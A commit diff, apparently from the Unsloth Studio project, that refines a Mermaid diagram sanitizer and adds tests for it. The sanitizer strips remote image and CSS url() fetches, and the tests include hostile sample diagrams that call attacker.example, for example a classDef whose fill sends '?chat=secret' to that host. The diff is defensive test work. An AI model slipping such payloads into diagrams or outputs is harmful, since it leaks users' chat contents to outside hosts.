Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.
Python agentaichatgptdeepseekfine-tuninggemmaimage-generationllamallmllmsopenaipythonqwenreinforcement-learningself-hostedstable-diffusiontext-to-speechttsuiunsloth
Studio: keep style keywords inside quoted state labels in the Mermaid guard (#16133)
Daniel Han8c36486e74e1
diff --git a/studio/frontend/src/components/assistant-ui/mermaid-guard.ts b/studio/frontend/src/components/assistant-ui/mermaid-guard.tsindex dbb3c130cda..05e01eb02dc 100644--- a/studio/frontend/src/components/assistant-ui/mermaid-guard.ts+++ b/studio/frontend/src/components/assistant-ui/mermaid-guard.ts@@ -3,64 +3,47 @@import { JSON_SCHEMA, load } from "js-yaml";-/*- * Chat and document markdown never loads a remote image (`safeMarkdownUrl`), but mermaid draws- * into the live page and fetches what a diagram names while it measures it, before any SVG comes- * back. So the diagram source is vetted before mermaid sees it, the same way: an image a diagram- * names must be a `data:` URI. A source naming none comes back unchanged, so ordinary diagrams- * render exactly as before; running this twice gives the same text.- */-const INLINE_IMAGE = /^\s*data:/i;-// Elements an HTML label could use to fetch something. `<` before one of them becomes mermaid's-// own `#lt;` entity, so the label shows the text instead of building the element.const FETCHING_TAG =/<(?=\/?(?:img|image|picture|source|video|audio|track|input|iframe|frame|embed|object|link|style|svg|use|meta|base|body|table|thead|tbody|tr|td|th)\b)/gi;-// A style rule that could name a resource: CSS functions that load one, or an escape hiding one.-// A statement may follow `;`; a stateDiagram classDef runs to end of line, so cut from the keyword on.const STYLE_START = /(^|[;\s])[^\S\n]*(?:classDef|style|linkStyle)\b/gi;const STYLE_FETCH = /\\|url\s*\(|image(?:-set)?\s*\(|cross-fade\s*\(|element\s*\(|@import/i;const STYLE_FETCHES = new RegExp(STYLE_FETCH.source, "gi");-// These lexers take a style statement mid-line after a space and allow brackets in ids: every keyword counts.+// These lexers allow mid-line styles and brackets in ids, so every keyword counts.const MIDLINE_STYLE = /^[^\S\n]*(?:stateDiagram|erDiagram|block(?:-beta)?|requirementDiagram)\b/im;+const STATE_DIAGRAM = /^\s*stateDiagram/;+const STATE_LABEL = /^[^\S\n]*state[^\S\n]+"[^"\n{}]*"/;+// These markers take lexer priority over a quoted state description.+const STATE_EXIT = /<<(?:fork|join|choice)>>|\[\[(?:fork|join|choice)\]\]/i;+const STATE_CONTEXT = /"|accDescr\s*\{|\b(?:style|classDef)(?:[^\S\n]+[\w,]+)?[^\S\n]*$/i;-// An HTML label tag with a style attribute; its CSS can fetch (background-image and the like).const STYLED_TAG = /<([a-z][^<>]*\bstyle\s*=[^<>]*)/gi;-// Numeric character references, which mermaid (`#117;`) and the browser (`u`) both decode.const CHAR_REF = /(?:&#|#)(x[0-9a-f]+|\d+);?/gi;-// `&` left after the numeric decode is a named reference (`\` is a backslash), so it counts too.+// Named references can hide CSS escapes after numeric decoding.const CSS_FETCH = /url|image|cross-fade|element\s*\(|@import|\\|&/i;-// Mermaid drops a whole line starting with `%%` before parsing (an `%%{init}%%` directive stays).const COMMENT_LINE = /^[^\S\n]*%%(?!\{).*$/gm;-// `details Actor: id` in a sequence diagram merges the page element `id`'s JSON (an `icon` too),-// which this cannot see; the line is dropped.+// Sequence details can import unseen page-element JSON.const DETAILS_LINE = /^[^\S\n]*details\b[^:\n[({]*:.*$/gim;const SEQUENCE = /^[^\S\n]*sequenceDiagram\b/m;-// A `%%{init}%%` directive or front-matter config whose values could fetch (an XY chart copies-// theme colours into SVG fills, so url() there loads). Ordinary theme colours stay.+// Theme strings can become SVG fills, including in XY charts.const DIRECTIVE = /%%\{[\s\S]*?\}%%/g;const FRONT_MATTER = /^\s*---[^\S\n]*\n[\s\S]*?\n[^\S\n]*---[^\S\n]*(?=\n|$)/;-// `properties Actor: {json}` in a sequence diagram, where `icon` is drawn as an <image>.const ACTOR_PROPERTIES = /(^|;)([^\S\n]*properties\b[^:\n;#]*:)([^#\n;]*)/gim;function isRecord(value: unknown): value is Record<string, unknown> {return typeof value === "object" && value !== null && !Array.isArray(value);}-/**- * Every `@{` with its block up to the first `}` outside a "string", read on its own: lexer state decides- * whether a `@{` is shape data or text, so blocks may overlap. Blocks without `img` or `\` are skipped.- */+// Lexer ambiguity requires scanning every overlapping opener.function shapeDataBlocks(source: string): { start: number; end: number; body: string }[] {const blocks: { start: number; end: number; body: string }[] = [];if (!source.includes("@{")) return blocks;- // First `}` outside a string from i, starting outside (closeFrom) or inside (quotedFrom) one: linear.const closeFrom = new Int32Array(source.length + 1).fill(-1);const quotedFrom = new Int32Array(source.length + 1).fill(-1);for (let index = source.length - 1; index >= 0; index--) {@@ -89,21 +72,17 @@ function shapeDataBlocks(source: string): { start: number; end: number; body: streturn blocks;}-// Mermaid's own entity for `@`: it shows as `@` in text and never opens shape data.+// Mermaid displays this as @ without opening shape data.const INERT_OPENER = "#64;{";-// Overlapping blocks can sum to the source's square; past this every `@{` is made inert unparsed.+// Overlapping blocks can require quadratic parsing; cap total body bytes.const PARSE_BUDGET = 1 << 20;-/**- * Remote images taken out of every block: a lone block is rewritten, a run of overlapping ones has all- * its openers made inert (which reading wins depends on lexer state). Repeats until stable.- */function withoutRemoteShapeImages(source: string): string {let current = source;let budget = PARSE_BUDGET;for (let pass = 0; pass < 8; pass++) {- // Comments are blanked to the same length, so a `@{` or `"` in one cannot hide a later block.+ // Preserve offsets and prevent comment quotes/openers from hiding later blocks.const scanned = current.replace(COMMENT_LINE, (line) => " ".repeat(line.length));const fetching: { start: number; end: number; replaced: string }[] = [];for (const block of shapeDataBlocks(scanned)) {@@ -138,14 +117,12 @@ function withoutRemoteShapeImages(source: string): string {return current.replaceAll("@{", INERT_OPENER);}-/** A shape data block without a remote `img`, or null when it carries none and stays as written. */function withoutRemoteImage(body: string): string | null {let doc: unknown;try {- // Parsed the way the flowchart parser parses it, so escaped keys and values are seen decoded.+ // Use Mermaid's YAML semantics so escaped keys are decoded.doc = load(body.includes("\n") ? `${body}\n` : `{\n${body}\n}`, { schema: JSON_SCHEMA });} catch {- // Unparseable here is unparseable there; only drop it when it might name an image.return /img|\\/i.test(body) ? "" : null;}if (!isRecord(doc) || !("img" in doc)) return null;@@ -163,14 +140,13 @@ function withoutRemoteIcon(json: string): string | null {}if (!isRecord(properties) || typeof properties.icon !== "string") return null;const icon = properties.icon.trim();- // `@id` points at an element already in the page; `data:` is inline.+ // @id refers to an element already on the page.if (icon.startsWith("@") || INLINE_IMAGE.test(icon)) return null;const rest = Object.fromEntries(Object.entries(properties).filter(([key]) => key !== "icon"));return ` ${JSON.stringify(rest)}`;}-/** Outside `midLine` diagrams a statement starts a line or follows `;`; one inside a quoted or bracketed label is text. */-function withoutFetchingStyle(line: string, midLine: boolean): string {+function withoutFetchingStyle(line: string, midLine: boolean, label = 0): string {let lastFetch = -1;for (const found of line.matchAll(STYLE_FETCHES)) lastFetch = found.index;if (lastFetch < 0) return line;@@ -180,6 +156,7 @@ function withoutFetchingStyle(line: string, midLine: boolean): string {for (const match of line.matchAll(STYLE_START)) {const start = match.index + match[1].length;if (start > lastFetch) break;+ if (start < label) continue;if (midLine) return line.slice(0, start);for (; at < start; at++) {const ch = line[at];@@ -192,13 +169,14 @@ function withoutFetchingStyle(line: string, midLine: boolean): string {return line;}-/** The diagram source with every image or style that would load from elsewhere taken out. */export function stripRemoteDiagramImages(source: string): string {let out = withoutRemoteShapeImages(source);const scanned = source.replace(COMMENT_LINE, (line) => " ".repeat(line.length));if (SEQUENCE.test(scanned)) out = out.replace(DETAILS_LINE, "");- // Mermaid reads the diagram type after dropping directives: `%%{init}%%stateDiagram` counts.const midLine = MIDLINE_STYLE.test(scanned.replace(DIRECTIVE, ""));+ const stateLabels = STATE_DIAGRAM.test(scanned.replace(FRONT_MATTER, "").replace(DIRECTIVE, ""));+ // Quotes, descriptions and unfinished CSS can carry lexer state across lines.+ let quoteFree = true;return out.replace(DIRECTIVE, (block) => (STYLE_FETCH.test(block) ? "" : block)).replace(FRONT_MATTER, (block) => (STYLE_FETCH.test(block) ? "" : block))@@ -210,7 +188,12 @@ export function stripRemoteDiagramImages(source: string): string {});return CSS_FETCH.test(decoded) ? `#lt;${tag}` : whole;})- .replace(/^.*$/gm, (line) => withoutFetchingStyle(line, midLine))+ .replace(/^.*$/gm, (line) => {+ const label =+ stateLabels && quoteFree && !STATE_EXIT.test(line) ? (STATE_LABEL.exec(line)?.[0].length ?? 0) : 0;+ if (STATE_CONTEXT.test(line.slice(label))) quoteFree = false;+ return withoutFetchingStyle(line, midLine, label);+ }).replace(ACTOR_PROPERTIES, (whole, lead: string, head: string, json: string) => {const replaced = withoutRemoteIcon(json);return replaced === null ? whole : `${lead}${head}${replaced}`;diff --git a/studio/frontend/tests/mermaid-remote-images.test.ts b/studio/frontend/tests/mermaid-remote-images.test.tsindex cb4e7fb62bc..263c6270465 100644--- a/studio/frontend/tests/mermaid-remote-images.test.ts+++ b/studio/frontend/tests/mermaid-remote-images.test.ts@@ -1,8 +1,6 @@// SPDX-License-Identifier: AGPL-3.0-only// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-// A mermaid diagram keeps to the chat's image policy: what it draws may name a `data:` image,-// never a remote one, while a diagram that names none reaches mermaid exactly as written.import assert from "node:assert/strict";import test from "node:test";@@ -36,7 +34,6 @@ for (const source of HOSTILE) {test(`no remote image survives: ${JSON.stringify(source.split("\n").slice(-1)[0]).slice(0, 70)}`, () => {const out = stripRemoteDiagramImages(source);assert.equal(/attacker\.example/.test(out) && !/#lt;/.test(out), false, out);- // Idempotent.assert.equal(stripRemoteDiagramImages(out), out);});}@@ -55,7 +52,6 @@ const ORDINARY = ["pie title Pets\n \"Dogs\" : 386\n \"Cats\" : 85","flowchart LR; A[Start]-->B[End]; style A fill:#f96; style B fill:#bbf","stateDiagram-v2\n A --> B; classDef x fill:#f96\n class A x",- // The word in a label is text, even next to a backslash or `url(`.'flowchart LR\n A["Style transfer\\nmodel"] --> B','flowchart LR\n A["see; style C:\\temp"] --> B',"flowchart LR\n A(style url(x)) --> B",@@ -81,12 +77,10 @@ test("a `@{` or `}` inside a quoted label does not hide a later shape data blockfor (const [source, kept] of [[`flowchart LR\n A["@{"] --> B@{ ${img} }`, 'flowchart LR\n A["@{"] --> B@{ "w":10,"h":10 }'],[`flowchart LR\n A["x @{ y"] --> C["}"] --> B@{ ${img} }`, 'flowchart LR\n A["x @{ y"] --> C["}"] --> B@{ "w":10,"h":10 }'],- // A `}` inside the real block's quoted label must not close the label's `@{`.[`flowchart LR\n A["@{"] --> B@{ label: "}", img: "https://attacker.example/x" }`,'flowchart LR\n A["@{"] --> B@{ "label":"}" }',],- // Accessibility text takes the rest of its line, quotes included.[`flowchart LR\n accTitle: A " title\n B@{ ${img} }`, 'flowchart LR\n accTitle: A " title\n B@{ "w":10,"h":10 }'],]) {const out = stripRemoteDiagramImages(source);@@ -129,17 +123,12 @@ test("a style statement after a semicolon cannot fetch either", () => {const url = "url(https://attacker.example/collect?chat=secret)";for (const [source, kept] of [[`stateDiagram-v2\n A --> B; classDef x fill:${url}\n class A x`, "stateDiagram-v2\n A --> B;\n class A x"],- // A stateDiagram classDef runs to the end of the line, past any `;`.[`stateDiagram-v2\n classDef x fill:#f96;background:${url}\n class A x`, "stateDiagram-v2\n\n class A x"],[`flowchart LR; A-->B; style A fill:${url}`, "flowchart LR; A-->B;"],- // A stateDiagram also takes a statement after a space, with no `;` before it.[`stateDiagram-v2\n A --> B classDef x fill:${url}\n class A x`, "stateDiagram-v2\n A --> B \n class A x"],[`stateDiagram-v2\n [*] --> A\tclassDef x mask:${url}\n class A x`, "stateDiagram-v2\n [*] --> A\t\n class A x"],- // A statement after a label that mentions the word is still caught.[`stateDiagram-v2\n state "a style x" as A\n A --> B classDef x fill:${url}`, 'stateDiagram-v2\n state "a style x" as A\n A --> B '],- // The diagram type is read after a directive on the same line.[`%%{init: {}}%%stateDiagram-v2\n A --> B classDef x fill:${url}\n class B x`, "%%{init: {}}%%stateDiagram-v2\n A --> B \n class B x"],- // State ids may hold brackets; they are not labels there.[`stateDiagram-v2\n A( --> B classDef x fill:${url}\n class B x`, "stateDiagram-v2\n A( --> B \n class B x"],]) {const out = stripRemoteDiagramImages(source);@@ -148,6 +137,41 @@ test("a style statement after a semicolon cannot fetch either", () => {}});+test("a quoted stateDiagram state label is text, not a style statement", () => {+ const url = "url(https://attacker.example/x)";+ for (const source of [+ 'stateDiagram-v2\n state "Use style C:\\temp" as A\n A --> B',+ 'stateDiagram-v2\n state "Apply style url(parameter)" as A\n A --> B',+ 'stateDiagram-v2\n state Outer {\n state "a classDef b" as A\n }',+ ]) {+ assert.equal(stripRemoteDiagramImages(source), source);+ }+ for (const [source, kept] of [+ [`stateDiagram-v2\n state "a style b" as A classDef x fill:${url}`, 'stateDiagram-v2\n state "a style b" as A '],+ [`stateDiagram-v2\n state "a" as A\n A --> B classDef x fill:${url}`, 'stateDiagram-v2\n state "a" as A\n A --> B '],+ [`stateDiagram-v2\n A --> B "x\n state "y classDef x fill:${url}"`, 'stateDiagram-v2\n A --> B "x\n state "y '],+ [`stateDiagram-v2\n accDescr {\n state "y classDef x fill:${url}"`, 'stateDiagram-v2\n accDescr {\n state "y '],+ [`erDiagram\n state "y classDef x fill:${url}"`, 'erDiagram\n state "y '],+ [`erDiagram\n A ||--o{ B : x\nstateDiagram-v2\n state "y classDef x fill:${url}"`, 'erDiagram\n A ||--o{ B : x\nstateDiagram-v2\n state "y '],+ ...["<<fork>>", "<<JOIN>>", "<<choice>>", "[[fork]]", "[[join]]", "[[Choice]]"].map((marker) => [+ `stateDiagram-v2\nA --> B\nstate "foo ${marker} style A fill:${url};stroke:red" as C`,+ `stateDiagram-v2\nA --> B\nstate "foo ${marker} `,+ ]),+ ]) {+ const out = stripRemoteDiagramImages(source);+ assert.equal(out, kept);+ assert.equal(stripRemoteDiagramImages(out), out);+ }+});++test("completed state styles keep later quoted labels intact", () => {+ for (const statement of ["style A fill:red", "classDef x fill:red"]) {+ const source = `stateDiagram-v2\nA --> B\n${statement}\nstate "Use style C:\\temp" as C`;+ assert.equal(stripRemoteDiagramImages(source), source);+ assert.equal(stripRemoteDiagramImages(stripRemoteDiagramImages(source)), source);+ }+});+test("many unclosed `@{` markers are scanned in linear time", () => {const source = `sequenceDiagram\n Alice->>Bob: ${"@{ ".repeat(16000)}`;const started = performance.now();@@ -179,7 +203,6 @@ test("a sequence actor cannot take its properties from an element on the page",const out = stripRemoteDiagramImages(source);assert.equal(/details/.test(out), false, out);assert.match(out, /Alice->>Bob: hi/);- // A flowchart node that happens to be called details is left alone.const flow = "flowchart LR\n details[Details: here] --> B";assert.equal(stripRemoteDiagramImages(flow), flow);});